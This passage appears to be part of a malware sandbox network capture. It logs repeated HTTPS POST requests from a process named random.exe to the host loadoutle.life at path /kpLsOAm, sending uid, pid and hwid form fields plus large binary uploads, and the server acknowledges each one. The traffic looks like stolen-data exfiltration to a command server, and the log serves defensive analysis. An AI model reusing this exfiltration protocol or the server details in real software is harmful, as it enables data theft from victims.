Data Ascii: ae0st<,?"H{{yM%CHo/mPYc.Lv{dTF'$dwC$ h\|BsKo'Yd#gF:9\P"L_zgg0ogItENz=Zp!-&( KbKY9?)yzAB0 Jjq#pWIHel$FW8Z
2025-03-19 00:36:34 UTC	1369	IN	Data Raw: 3c 89 dc cb 69 d6 04 80 f8 1a 95 f8 77 7c 21 69 ee d7 29 0e 17 d2 27 a4 ed 76 af 73 9d ac 51 cc 21 d5 37 f9 39 ee 01 b8 93 aa 8b 5d 67 eb 2f b5 98 d9 3e 07 56 2f 80 b9 9a 6d e3 b0 8a 87 ac 97 6a cd bb 0b f5 a3 5a 7a 44 64 6b f2 f5 e0 74 36 91 b0 08 99 dc 53 bf 58 40 f4 c2 10 71 b8 0d 9b 9c b1 8e bd 8d f5 ee f9 6d 14 3d b6 14 fb fa b4 95 e1 33 1c 8d b4 5e db 2f d1 1f d7 53 18 e8 6e 20 65 59 ca 9c 75 1b 6b 8d 93 68 cf 40 48 51 38 fc 42 06 20 fc 14 b5 41 20 7f ca ff 66 12 7b 93 ba e3 a5 e8 cf 38 e1 d1 13 b9 04 01 8a 72 13 68 3d c2 9a 93 18 de a5 51 d5 44 79 3f 1a df 97 65 06 9e 2f c6 32 cb 9d 33 7a b5 58 ff c4 e6 92 2b 91 21 66 37 75 ad 7c 90 4c 22 b8 37 73 bc d5 14 72 d1 79 d4 76 d8 28 41 aa 99 4c 57 80 26 b4 86 b8 ce 84 ad cd b4 34 fd 73 e6 aa 50 a3 2f 09 Data Ascii: <iw\|!i)'vsQ!79]g/>V/mjZzDdkt6SX@qm=3^/Sn eYukh@HQ8B A f{8rh=QDy?e/23zX+!f7u\|L"7sryv(ALW&4sP/
2025-03-19 00:36:34 UTC	755	IN	Data Raw: f7 f5 9a 7c b8 7e 6e 10 2a 91 28 80 69 58 cb d2 27 61 89 e1 06 bf 38 bc 82 36 5d ea 4f 29 30 20 7c 8a ca d2 f4 b9 eb 30 f2 19 04 43 31 c8 f5 48 8c cb 47 ea 23 89 1e 82 50 8e 20 10 e2 1f 5f c9 29 07 ea eb ca 8d 68 79 f1 16 19 8a a0 bf 7e 3e 40 2f 2f 4f b3 a0 1f 9b 07 8a 06 b3 f1 71 55 4c ad 4c f6 23 0d 6b 60 98 15 b7 0c 34 23 4b fd ed 9b b3 a1 82 3e 7b bf a3 60 ea 2d ef 9e 52 35 e6 fc 1c ae 1d 71 4e 50 05 0a ec bd d5 66 86 ee 6f 09 fb ea d1 eb f4 a8 d9 d1 12 bd d0 2c 96 d6 7b c9 e6 a4 8b bf f9 4c a0 a4 33 b5 7f 0e e8 f8 f1 ad f1 4c 30 3a 70 0f b7 4d fd cf 8d a8 78 a7 b0 1d d0 98 7d 07 4e b7 fa b2 be 30 a5 6e b2 4e 3c 70 7a 9f c6 0f fb b9 c0 48 93 52 fa b5 a3 1f b1 e3 be 07 46 5d 33 41 7b d2 40 a9 84 17 10 66 1a f2 36 e9 9d be 17 b8 1f 84 ad 5b 1f 26 2c db Data Ascii: \|~n*(iX'a86]O)0 \|0C1HG#P _)hy~>@//OqULL#k`4#K>{`-R5qNPfo,{L3L0:pMx}N0nN<pzHRF]3A{@f6[&,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49683	188.114.97.3	443	7012	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 00:36:35 UTC	281	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=dh8dG2nn4h1r4Gb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 14506 Host: loadoutle.life
2025-03-19 00:36:35 UTC	14506	OUT	Data Raw: 2d 2d 64 68 38 64 47 32 6e 6e 34 68 31 72 34 47 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 33 35 64 38 65 33 33 39 34 64 65 31 66 66 64 33 36 65 63 61 61 35 31 32 37 38 32 32 35 30 62 34 64 33 65 66 36 33 34 37 34 66 0d 0a 2d 2d 64 68 38 64 47 32 6e 6e 34 68 31 72 34 47 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 64 68 38 64 47 32 6e 6e 34 68 31 72 34 47 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 33 41 46 30 32 44 46 44 39 44 Data Ascii: --dh8dG2nn4h1r4GbContent-Disposition: form-data; name="uid"35d8e3394de1ffd36ecaa512782250b4d3ef63474f--dh8dG2nn4h1r4GbContent-Disposition: form-data; name="pid"2--dh8dG2nn4h1r4GbContent-Disposition: form-data; name="hwid"CA3AF02DFD9D
2025-03-19 00:36:36 UTC	817	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 00:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ijLAE9JX9RqvfhrkfM6yFKKK%2BX4a9auaXb%2FPD%2B74XJRy3mf2Ry0a%2B8rd1YjPqCpZODmI8MC96JB0SnxYgzjh6ktI2N2SVIlylxvNvrcQOAVZnSTSc4PZYIoc2u8ut7lxZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9228e57af812f9a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8074&min_rtt=8029&rtt_var=3102&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2833&recv_bytes=15445&delivery_rate=347867&cwnd=132&unsent_bytes=0&cid=1f46ca2eae9abe0e&ts=466&x=0"
2025-03-19 00:36:36 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 32 30 36 2e 36 36 2e 39 37 2e 36 33 22 7d 7d 0d 0a Data Ascii: 44{"success":{"message":"message success delivery from 206.66.97.63"}}
2025-03-19 00:36:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49684	188.114.97.3	443	7012	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 00:36:37 UTC	279	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4hlbCObr82OWd User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 15042 Host: loadoutle.life
2025-03-19 00:36:37 UTC	15042	OUT	Data Raw: 2d 2d 34 68 6c 62 43 4f 62 72 38 32 4f 57 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 33 35 64 38 65 33 33 39 34 64 65 31 66 66 64 33 36 65 63 61 61 35 31 32 37 38 32 32 35 30 62 34 64 33 65 66 36 33 34 37 34 66 0d 0a 2d 2d 34 68 6c 62 43 4f 62 72 38 32 4f 57 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 68 6c 62 43 4f 62 72 38 32 4f 57 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 33 41 46 30 32 44 46 44 39 44 30 44 46 43 30 35 Data Ascii: --4hlbCObr82OWdContent-Disposition: form-data; name="uid"35d8e3394de1ffd36ecaa512782250b4d3ef63474f--4hlbCObr82OWdContent-Disposition: form-data; name="pid"2--4hlbCObr82OWdContent-Disposition: form-data; name="hwid"CA3AF02DFD9D0DFC05
2025-03-19 00:36:37 UTC	272	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 00:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC CF-RAY: 9228e58399751849-EWR alt-svc: h3=":443"; ma=86400
2025-03-19 00:36:37 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 32 30 36 2e 36 36 2e 39 37 2e 36 33 22 7d 7d 0d 0a Data Ascii: 44{"success":{"message":"message success delivery from 206.66.97.63"}}
2025-03-19 00:36:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49685	188.114.97.3	443	7012	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 00:36:38 UTC	282	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=dfvKvdUvUCl369jW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 20226 Host: loadoutle.life
2025-03-19 00:36:38 UTC	15331	OUT	Data Raw: 2d 2d 64 66 76 4b 76 64 55 76 55 43 6c 33 36 39 6a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 33 35 64 38 65 33 33 39 34 64 65 31 66 66 64 33 36 65 63 61 61 35 31 32 37 38 32 32 35 30 62 34 64 33 65 66 36 33 34 37 34 66 0d 0a 2d 2d 64 66 76 4b 76 64 55 76 55 43 6c 33 36 39 6a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 64 66 76 4b 76 64 55 76 55 43 6c 33 36 39 6a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 33 41 46 30 32 44 46 Data Ascii: --dfvKvdUvUCl369jWContent-Disposition: form-data; name="uid"35d8e3394de1ffd36ecaa512782250b4d3ef63474f--dfvKvdUvUCl369jWContent-Disposition: form-data; name="pid"3--dfvKvdUvUCl369jWContent-Disposition: form-data; name="hwid"CA3AF02DF
2025-03-19 00:36:38 UTC	4895	OUT	Data Raw: 82 f8 56 4d 24 6b 13 a1 be 29 2a 17 4a 0e 63 15 0f 2e 3f c8 89 a8 4b df e0 f8 af bd 04 f3 9d 85 5a 33 54 a5 3d 3c e4 81 ed 36 fe 89 a4 be 42 8c c3 99 97 aa 15 d1 14 68 4a 6c 4a 37 b4 d9 7c 42 02 a4 2f 2e a5 f2 05 c9 b9 f9 83 06 17 3f 99 c2 3b 02 b0 2d 26 78 c6 0c 7b d0 91 26 c1 af 84 14 3b 57 ca fd d8 b5 77 62 ce 91 a9 ac 5b 59 eb f4 37 0f 19 82 31 dd b4 93 fb 4d 17 28 69 22 84 02 fd c7 57 98 41 81 ee 64 92 57 ff 48 48 d6 08 8f ed 2f 39 b7 31 2a 27 3f b0 00 92 57 0b cd 31 79 9e 36 35 7e 63 2f 93 29 98 28 d6 bb 87 73 fb 31 95 54 3b c6 4c 95 bc 98 d1 56 ff cf 60 e6 53 5a 25 9c ed 92 37 7f 6b 80 82 b7 c5 f2 a6 17 c3 5e 6f d9 92 3e 06 5f 42 48 50 72 fa a4 69 6e 62 8c a5 73 6b d2 3e 68 e8 f2 65 c7 d1 78 fd a5 d2 34 d7 14 fd 5d e5 f6 7d cc 51 c4 02 03 31 87 c3 Data Ascii: VM$k)Jc.?KZ3T=<6BhJlJ7\|B/.?;-&x{&;Wwb[Y71M(i"WAdWHH/91'?W1y65~c/)(s1T;LV`SZ%7k^o>_BHPrinbsk>hex4]}Q1
2025-03-19 00:36:38 UTC	816	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 00:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FIDQ0ryQBh1Gs9Fbxnnp1FJnu9706nDKKVMBE9AjCpJtEsO9BohKzOqBqCDiX7DkxqIYzi9MJmhP3lphM%2By1OBmwhqZvnmidfbxSJ%2B5YtPJ8NhB0otSE18XwY2kIAjVrqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9228e58b287419c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8478&min_rtt=8467&rtt_var=3198&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2833&recv_bytes=21188&delivery_rate=341121&cwnd=251&unsent_bytes=0&cid=a381a1ef7f3985d8&ts=559&x=0"
2025-03-19 00:36:38 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 32 30 36 2e 36 36 2e 39 37 2e 36 33 22 7d 7d 0d 0a Data Ascii: 44{"success":{"message":"message success delivery from 206.66.97.63"}}
2025-03-19 00:36:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49686	188.114.97.3	443	7012	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 00:36:39 UTC	273	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C58MEf5b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 2467 Host: loadoutle.life
2025-03-19 00:36:39 UTC	2467	OUT	Data Raw: 2d 2d 43 35 38 4d 45 66 35 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 33 35 64 38 65 33 33 39 34 64 65 31 66 66 64 33 36 65 63 61 61 35 31 32 37 38 32 32 35 30 62 34 64 33 65 66 36 33 34 37 34 66 0d 0a 2d 2d 43 35 38 4d 45 66 35 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 35 38 4d 45 66 35 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 33 41 46 30 32 44 46 44 39 44 30 44 46 43 30 35 45 44 46 32 43 32 32 38 36 38 36 41 39 45 0d Data Ascii: --C58MEf5bContent-Disposition: form-data; name="uid"35d8e3394de1ffd36ecaa512782250b4d3ef63474f--C58MEf5bContent-Disposition: form-data; name="pid"1--C58MEf5bContent-Disposition: form-data; name="hwid"CA3AF02DFD9D0DFC05EDF2C228686A9E
2025-03-19 00:36:40 UTC	816	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 00:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FRk9nBrWFGs5VP7G3WFNyHaoCn2df0QqwMT8y0FV%2B5GAVvup%2FdkaeMpurHkvACkJ8SmZ7ah2y16dAB3soJuFq8lwVeVRpa1YCom9RVrIzckURpkRljuOplFSNFp%2FGpvF%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9228e5950eb7adca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8058&min_rtt=8046&rtt_var=3042&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2832&recv_bytes=3376&delivery_rate=358502&cwnd=82&unsent_bytes=0&cid=2009171e31b34e25&ts=395&x=0"
2025-03-19 00:36:40 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 32 30 36 2e 36 36 2e 39 37 2e 36 33 22 7d 7d 0d 0a Data Ascii: 44{"success":{"message":"message success delivery from 206.66.97.63"}}
2025-03-19 00:36:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49687	188.114.97.3	443	7012	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 00:36:41 UTC	277	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SY2Upf5WjG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 569884 Host: loadoutle.life
2025-03-19 00:36:41 UTC	15331	OUT	Data Raw: 2d 2d 53 59 32 55 70 66 35 57 6a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 33 35 64 38 65 33 33 39 34 64 65 31 66 66 64 33 36 65 63 61 61 35 31 32 37 38 32 32 35 30 62 34 64 33 65 66 36 33 34 37 34 66 0d 0a 2d 2d 53 59 32 55 70 66 35 57 6a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 59 32 55 70 66 35 57 6a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 33 41 46 30 32 44 46 44 39 44 30 44 46 43 30 35 45 44 46 32 43 32 32 38 36 Data Ascii: --SY2Upf5WjGContent-Disposition: form-data; name="uid"35d8e3394de1ffd36ecaa512782250b4d3ef63474f--SY2Upf5WjGContent-Disposition: form-data; name="pid"1--SY2Upf5WjGContent-Disposition: form-data; name="hwid"CA3AF02DFD9D0DFC05EDF2C2286
2025-03-19 00:36:41 UTC	15331	OUT	Data Raw: fb 92 96 8b 2c 49 10 fe 02 b5 b9 5e 0f f3 46 dd 0c 51 65 60 a1 c6 a9 4a 12 78 b0 c1 9b ec 80 c4 5f 69 47 31 fe 38 97 ac 81 e7 f7 83 b2 7c ea 9d bf 16 39 a7 82 a7 41 1c b9 f8 e6 2f 39 62 32 d5 2e e5 e2 e5 e9 67 6f e6 26 4a 66 45 c7 2e 1b f8 a3 80 9e 88 50 a2 df 56 9f 9d 22 1e b6 ee cf 0c a7 c1 7f 33 40 2b 77 7d e1 95 2c 41 a7 20 bf 6f 41 01 82 67 bc 4a 9b 0f 94 25 3f 85 01 d3 aa 42 eb 2e 33 88 72 94 1a 72 ed 79 19 f2 e5 aa 6f 91 f9 95 ef 3d 91 0c 9b ed 4d 37 a0 1d d0 3c 82 13 64 c4 b4 da a1 53 1c 86 fe d4 48 09 d9 d4 e9 a9 de 48 b6 ab 1d b1 7a 2a 3a c2 c7 75 28 03 34 fa 0e b5 2d b1 76 51 19 7a 3f 7b 2c 5e 2a b0 bc c2 15 6a 01 30 f6 d5 50 39 d5 da 84 38 a8 ff cb b9 b9 20 5e 44 11 36 1e 07 19 27 8f 62 8e e6 ee f7 58 90 50 2e de 29 3f 70 44 4a 59 e9 85 09 97 Data Ascii: ,I^FQe`Jx_iG18\|9A/9b2.go&JfE.PV"3@+w},A oAgJ%?B.3rryo=M7<dSHHz:u(4-vQz?{,^j0P98 ^D6'bXP.)?pDJY
2025-03-19 00:36:41 UTC	15331	OUT	Data Raw: a8 c0 7c 55 b8 73 6e 05 64 69 4f bb 40 fc e4 16 6d 76 4c 59 c7 fd 09 e0 07 21 0c fe fc 17 02 10 1d 18 7a dc 14 5a fa d3 62 66 7a 8a 4f 4e ea c1 96 bd 4f bc 8b 86 45 23 fc 9f b7 8a 55 92 a3 19 87 7b c5 d0 16 59 e4 5a 43 f3 c9 81 54 77 49 91 5f 5b 17 99 a9 18 45 1f 86 90 a2 b7 7c 1c 1d 08 8a 5d cd 1b 90 e9 35 33 ba e3 8f 45 c2 7e 5c 81 08 71 90 d5 5a 72 19 e2 fa 24 ff fb 30 62 c6 59 8b a3 88 24 d8 36 e3 6f e9 8c 5a 0f 23 5b a8 e1 61 e2 9e 4e 9b 42 75 96 1c 5e 5c f9 3a ec d6 b8 81 b1 e7 7d e7 99 88 bf 4f 04 8f c1 dd db 0c 33 bc 09 e7 ed 41 b4 d0 47 d0 29 47 46 e6 29 f9 03 03 2a 2f ee bf a5 69 bd 7a 35 64 d8 1e 07 60 df 26 72 7b c0 2e ce 9e d9 4f 1e aa c0 4c 79 c1 8b e1 dc 72 11 e5 1d ba c0 83 05 93 b9 47 fb 4f c0 1d 72 5f 71 2f 9d ff 35 93 3c 77 02 b2 cb d7 Data Ascii: \|UsndiO@mvLY!zZbfzONOE#U{YZCTwI_[E\|]53E~\qZr$0bY$6oZ#[aNBu^\:}O3AG)GF)*/iz5d`&r{.OLyrGOr_q/5<w
2025-03-19 00:36:41 UTC	15331	OUT	Data Raw: 97 52 d6 d5 25 0b ea c9 4f c2 22 85 02 12 84 1f 72 63 f3 60 d8 90 34 02 55 52 9d 22 7d d4 37 eb e7 d5 7c f7 9f 6d 44 d5 05 00 cb fb e6 24 11 ff be c6 88 21 d8 4c b2 85 26 2e d1 eb 3c 96 89 6d cb 5f cd 6d 5f 90 42 d2 8f 3a d3 c1 88 11 3f 16 4f 89 10 04 19 10 32 10 19 a6 82 19 97 01 c4 f3 cd c8 c9 d6 a3 be 68 b3 1c 71 59 27 ea 23 2e 31 5b f7 b1 a0 a3 6a e7 e9 dc cd ee 55 e1 5b 9e 82 13 3b 43 ce 4d 3d 53 a6 a7 6f 12 54 de b9 8e 96 1e 0b 93 73 e2 cd 6a ec c0 30 7a 8c 63 77 5d 1c 14 13 7e 05 9c c8 07 71 fe 1b 48 72 86 f5 b4 6d 3c b2 a8 28 d7 94 e9 90 a1 c4 dd f7 c9 43 52 1f 6c 82 8d 24 d5 da 63 eb 72 80 41 b0 b9 1f a5 5f 8b e1 d1 9e 17 e6 e3 e0 de 55 8d 4f e4 46 b9 a9 9a 37 13 0f cd 16 e5 76 45 a3 36 0a e2 3c 90 17 ca 61 77 5d fd 3c 6d 3c da ff d7 f0 04 04 1f Data Ascii: R%O"rc`4UR"}7\|mD$!L&.<m_m_B:?O2hqY'#.1[jU[;CM=SoTsj0zcw]~qHrm<(CRl$crA_UOF7vE6<aw]<m<
2025-03-19 00:36:41 UTC	15331	OUT	Data Raw: 9b fe 50 47 ca c1 b1 32 9a 56 5a 3f d7 c5 63 bf 06 f4 9e fa 24 55 f0 a1 72 56 c3 7b 7c 32 79 a6 c9 d4 25 83 d5 6d a9 06 48 9c bd c4 cc 27 9c e0 2d 84 82 d1 87 4d 99 ad 45 da 55 b0 c4 f3 a7 76 f9 c7 4c 3b f6 d4 3d 22 48 a2 84 59 c6 fb d3 16 3f ee 85 65 86 90 15 b5 da 3a 74 9b fb ea 96 09 6a 32 e0 66 c7 76 2f 03 8a c1 6c 2a 60 cf e0 0e fc 17 95 5b ec fa ab f1 78 93 32 e3 cd 57 97 75 42 24 7f 45 80 5d a4 47 e4 f5 7e 17 f7 18 4c 65 e3 3c 66 10 4e b7 47 f8 ed d9 9d 19 4c 2c f6 28 0e 30 a2 ce a9 64 57 13 e0 4e 9f c2 63 f9 f7 38 de 34 99 32 1a 46 d8 ef f0 cf 26 19 cf 8f bd d4 fa ad 9a 20 6b 2c c0 43 97 c0 db a0 c8 d1 ee ba 68 e8 30 91 ab c4 c2 0d aa 10 42 c2 38 b4 20 93 45 d3 81 90 06 cb 11 71 bc a9 fc ef 9f d0 99 cd 7b 5d ac f4 fe db 82 08 24 be e4 78 59 5f 7f Data Ascii: PG2VZ?c$UrV{\|2y%mH'-MEUvL;="HY?e:tj2fv/l*`[x2WuB$E]G~Le<fNGL,(0dWNc842F& k,Ch0B8 Eq{]$xY_
2025-03-19 00:36:41 UTC	15331	OUT	Data Raw: 2b 80 f4 7a 55 64 64 d1 be 0b 7c 3d 58 24 ee 93 86 f3 10 c6 3d 83 87 96 06 41 36 3b 47 e8 49 50 6a 5f f9 4c 61 d9 ce 27 06 1d 94 7e 03 e1 31 28 8b 85 3e cc 4c fa 75 99 80 00 71 41 b6 6e 6d 63 18 81 e4 ee 80 27 14 95 89 56 2e b9 b0 14 df f7 8c 0f fd ad 66 8e f3 11 9a f2 39 50 a3 1e 1e 1b 01 6f 42 17 aa 20 e5 93 3a e2 d5 02 24 27 55 48 7c 7c a1 ff 20 f9 0c 32 fd 5e 39 cc 3d 4a cc 16 9f 30 63 5d 92 e7 9c 48 bc d4 4b 08 7f 19 a4 11 40 22 69 36 3d e1 0e a7 6b f5 cc 44 07 05 25 32 39 d6 e6 ae de 5c 3f 0d be 06 06 7c 6c f4 4c c4 24 60 78 c2 78 95 cb 2e e8 ef fc 11 79 14 37 9e 17 2a 38 aa b3 45 36 79 54 ea 3a ba db d8 ae 81 8f 9e 98 ff 49 65 22 70 d7 d4 a3 34 ff 98 23 4e dc fd d2 55 5c 78 06 91 0e 26 b5 6e 17 ae 4c 9f 8d b7 b4 5d a1 b7 09 40 0e 64 4e 61 dc 83 45 Data Ascii: +zUdd\|=X$=A6;GIPj_La'~1(>LuqAnmc'V.f9PoB :$'UH\|\| 2^9=J0c]HK@"i6=kD%29\?\|lL$`xx.y7*8E6yT:Ie"p4#NU\x&nL]@dNaE
2025-03-19 00:36:41 UTC	15331	OUT	Data Raw: 96 cb de 94 cf 6d 3f d6 90 84 1d 73 9c de fc d2 2a 3b 8b 2b c9 79 e6 32 a1 b7 62 01 f6 2d 97 85 50 20 41 68 d4 47 32 e7 4b 82 2b 35 36 55 97 6b a3 45 98 03 f5 11 3c 31 13 51 d5 24 ff 7a 15 52 b0 ac 94 9e 07 6f 50 09 c0 e0 13 c5 89 a9 0e 9a 7b 8c 8b 33 61 46 d8 dd 1d 88 aa e6 1d f0 cf 94 8f eb 72 22 1a fe 05 00 1c c0 94 50 ff 17 0b 17 dc 22 90 ba 43 9d 84 37 1b 36 1f be ab 7c d9 d0 d4 fb fe ab 94 69 bf 92 e7 e0 db 02 b0 8c 6c fd b4 86 e8 1b c7 2d 12 6e 19 9d 39 20 89 55 40 7a 18 df ca 60 92 f3 50 c6 0c a8 fd 41 e9 d7 7f 66 e3 fd 8d 56 0a 0e f3 34 c4 7c c3 67 15 fd 89 a0 04 e9 7a 1b f0 21 49 07 34 1e d6 a6 61 24 47 a5 aa 5e 75 3e 34 90 7f 8e 79 07 98 18 a6 50 c4 4f 21 73 3f 1e 6d 3b 6b 3c 76 f0 d9 d1 10 7b 24 b6 fb f8 8f 38 ea 17 31 74 8d 60 8a 62 0d 2e 7a Data Ascii: 